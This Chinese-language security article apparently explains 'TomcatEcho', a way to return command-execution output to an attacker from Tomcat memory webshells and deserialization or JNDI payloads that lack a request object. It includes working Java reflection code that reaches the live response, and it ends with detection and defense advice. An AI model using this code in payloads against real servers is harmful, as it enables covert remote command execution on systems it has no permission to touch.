TomcatEcho 无 request 命令回显

TomcatEcho:无 request 场景的命令回显

内存马(尤其 Listener / Valve 型)和反序列化 / JNDI 注入场景里,恶意代码常常跑在拿不到 request/response 的地方:static 块、无参构造方法、requestInitialized 回调。命令执行了,结果怎么回给攻击者?——在全局无 request 引用的情况下,从线程上下文类加载器 / 容器内部把当前请求对象”翻”出来,这就是 TomcatEcho。

本质:Thread.currentThread().getContextClassLoader() 持有容器引用,逐层反射 resources → context → service → connectors → protocolHandler → handler → global → processors[] → req,从处理当前请求的线程栈里还原出 connector.Request,getResponse() 直接回显。整体框架见 《内存马原理总纲》。


一、为什么需要 TomcatEcho

1.1 回显方式的演进

方式 适用场景 局限
直接在 handler 里拿 response Filter / Servlet / Valve 的 doFilter / invoke 方法签名里就有,无需回显技巧
两步反射 Listener 的 requestInitialized:RequestFacade.request → connector.Request.response 仍需要一个 request 对象在手
TomcatEcho 链 static 块 / 构造方法 / 反序列化入口,完全无 request 依赖 Tomcat 内部字段名,版本差异敏感

1.2 触发场景

// JNDI 加载的类:只有构造方法会被自动执行
public class Inject {
    public Inject() { /* 这里没有 request! */ }
}

// 反序列化加载的类:只有 static 块 / 构造方法
public class ShellLoader extends AbstractTranslet {
    static { /* 这里也没有 request! */ }
}

// Listener:只有 ServletRequestEvent,需两步反射拿 response
public class ListenerShell implements ServletRequestListener {
    public void requestInitialized(ServletRequestEvent sre) { /* ... */ }
}

这些场景下,RequestContextHolder(Spring)拿不到、request.getSession().getServletContext() 更拿不到——只能从 JVM / 容器内部结构反推。


二、两步反射的局限(Listener 场景)

Listener 的 requestInitialized(ServletRequestEvent sre) 能拿到 ServletRequest(实际是 RequestFacade),所以可以两步反射拿 response:

// RequestFacade 只有 request 字段(指向内部 connector.Request)
Field reqField = servletRequest.getClass().getDeclaredField("request");
reqField.setAccessible(true);
Object innerRequest = reqField.get(servletRequest);

// connector.Request 有 response 字段
Field respField = innerRequest.getClass().getDeclaredField("response");
respField.setAccessible(true);
HttpServletResponse response = (HttpServletResponse) respField.get(innerRequest);

但它依赖手里有一个 request 对象。static 块 / 构造方法里什么都没有,这条路走不通——只能上 TomcatEcho。


三、TomcatEcho 完整链

3.1 核心思想

Thread.currentThread().getContextClassLoader() 在 Web 应用线程里拿到的是 WebappClassLoaderBase,它一路持有容器对象:

Thread.currentThread().getContextClassLoader()   // WebappClassLoaderBase
  → resources          : StandardRoot             // Web 资源根
  → context            : StandardContext           // 当前应用
  → context            : ApplicationContext        // (内部还有一个同名字段)
  → service            : StandardService           // 服务
  → connectors[0]      : Connector                 // 连接器(处理请求的)
  → protocolHandler    : AbstractProtocol          // 协议处理器
  → handler            : AbstractProtocol$ConnectionHandler
  → global             : RequestGroupInfo          // 全局请求统计
  → processors[]       : ArrayList<RequestInfo>    // 所有已分配的请求
  → req                : org.apache.coyote.Request  // 找到当前请求
  → getNote(1)         : connector.Request          // 还原成高层请求对象
  → getResponse()      : connector.Response         // 回显

processors[] 里是所有已分配的 RequestInfo(当前正在处理的请求一定在列表里),遍历它逐个 getNote(1),就能拿到当前线程正在处理的请求。

3.2 代码实现

import org.apache.catalina.connector.*;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.RequestInfo;
import java.util.ArrayList;

public class TomcatEcho {

    public static void echo(String result) throws Exception {
        // 链式反射拿到 processors 列表(getField 见 3.3)
        ArrayList<RequestInfo> infos = (ArrayList<RequestInfo>) getField(
            Thread.currentThread().getContextClassLoader(),
            WebappClassLoaderBase.class,
            "resources:org.apache.catalina.webresources.StandardRoot",
            "context:org.apache.catalina.core.StandardContext",
            "context",
            "service:org.apache.catalina.core.StandardService",
            "connectors_0:org.apache.catalina.connector.Connector",
            "protocolHandler:org.apache.coyote.AbstractProtocol",
            "handler:org.apache.coyote.AbstractProtocol$ConnectionHandler",
            "global", "processors"
        );

        for (RequestInfo ri : infos) {
            org.apache.coyote.Request r =
                (org.apache.coyote.Request) getField(ri, RequestInfo.class, "req");
            Request req = (Request) r.getNote(1);   // getNote(1) → connector.Request
            Response resp = req.getResponse();      // 直接回显
            resp.getWriter().write(result);
            resp.getWriter().flush();
        }
    }
}

3.3 getField():链式反射工具

上面的 getField(obj, clazz, "a:b", "c_1:d", ...) 支持三种语法:

语法 含义 示例
"name" 取字段 "context"
"name:Type" 取字段并强转类型 "resources:org.apache.catalina.webresources.StandardRoot"
"name_1:Type" 取字段后按下标取数组/List 元素,再强转 "connectors_0:org.apache.catalina.connector.Connector"
public static Object getField(Object obj, Class<?> clazz, String... fieldNames) throws Exception {
    for (String part : fieldNames) {
        String[] segs = part.split("_", 2);
        Field field = clazz.getDeclaredField(segs[0].split(":")[0]);
        field.setAccessible(true);
        obj = field.get(obj);
        if (segs.length > 1) {                 // 带下标:取数组/List 元素
            String[] parts = segs[1].split(":", 2);
            int idx = Integer.parseInt(parts[0]);
            obj = obj instanceof List
                ? ((List<?>) obj).get(idx)
                : Array.get(obj, idx);
            clazz = parts.length > 1 ? Class.forName(parts[1]) : obj.getClass();
        } else {                                // 不带下标:强转
            clazz = part.contains(":") ? Class.forName(part.split(":")[1]) : field.getType();
        }
    }
    return obj;
}

例如 "connectors_0:org.apache.catalina.connector.Connector" = 取 connectors 字段的第 0 个元素并强转成 Connector。链式反射 + 类型标注,把原本十几行的逐字段反射压缩成一行参数表,直观且不易写错。

3.4 为什么 getNote(1)

org.apache.coyote.Request 是协议层的请求对象,getNote(int) 是 Tomcat 用来临时挂载关联对象的槽位。Tomcat 内部约定 note(1) 保存着对应的 org.apache.catalina.connector.Request(高层请求对象),拿到它之后 getResponse() 就能回显。


四、变体与版本差异

4.1 关键字段在 Tomcat 8.5 / 9 / 10

字段 稳定性 说明
WebappClassLoaderBase.resources 较稳 9 中 getResources() 方法弃用,但字段还在(反射取字段兼容)
StandardService.connectors 较稳 数组,取 [0]
AbstractProtocol.handler 较稳 ConnectionHandler
RequestInfo.global / processors 较稳 相对稳定
r.getNote(1) 稳定 跨版本约定一致

10.x 主要是 javax → jakarta 的包名差异,反射字段名基本一致。

4.2 变体:直接从 ConnectionHandler 定位

部分版本可以从 AbstractProtocol$ConnectionHandler 的内部 connections / processors map 直接定位当前线程,逻辑类似,只是入口字段不同。核心不变:从线程能拿到的类加载器 → 容器 → 协议层 → 请求对象。版本差异大时,多准备一两条备用链、逐个 try,是实战通用做法。


五、检测与防御

检测

# 内存 dump / Arthas 中找 TomcatEcho 特征:getNote(1)、RequestInfo、processors 反射遍历
# 或用 RASP 记录 ClassLoader.defineClass 与对 RequestInfo / coyote.Request 的反射访问

| 检测维度 | 说明 | |———-|——| | 反射调用特征 | 对 RequestInfo / getNote / processors 的非启动阶段反射 | | 内存分析 | dump 后搜索 getNote(1) 字符串、RequestInfo 实例 | | 行为 | 请求处理阶段出现”遍历所有处理器”的可疑调用 |

防御

层面 措施
事前 修复反序列化 / JNDI 入口——否则任何检测都是事后
事中 RASP 监控 ClassLoader.defineClass、对 RequestInfo / getNote 的反射调用栈
加固 确认 Tomcat 版本并跟踪字段变更,必要时用容器镜像锁定版本,降低字段猜测成功率

总结

TomcatEcho 是”无 request 场景”下拿回显的兜底技术:它把「线程上下文类加载器 → 容器注册表 → 协议层请求对象」整条引用链当成跳板,用链式反射把 connector.Request 翻出来。三条核心经验:

  1. 任何 Web 线程都能通过 Thread.currentThread().getContextClassLoader() 触达容器对象——这是所有无 request 反射链的起点;
  2. processors[] + getNote(1) 是”找当前请求”的关键——协议层对象和业务层对象靠 note 槽位关联;
  3. 防御它的本质仍是切断入口——先拿到代码执行,一切皆可发生。
延伸阅读:《反序列化与 JNDI 无文件注入内存马》 《内存马原理总纲》 《Tomcat Listener 内存马》 《Tomcat Valve 内存马》
改变就是好事。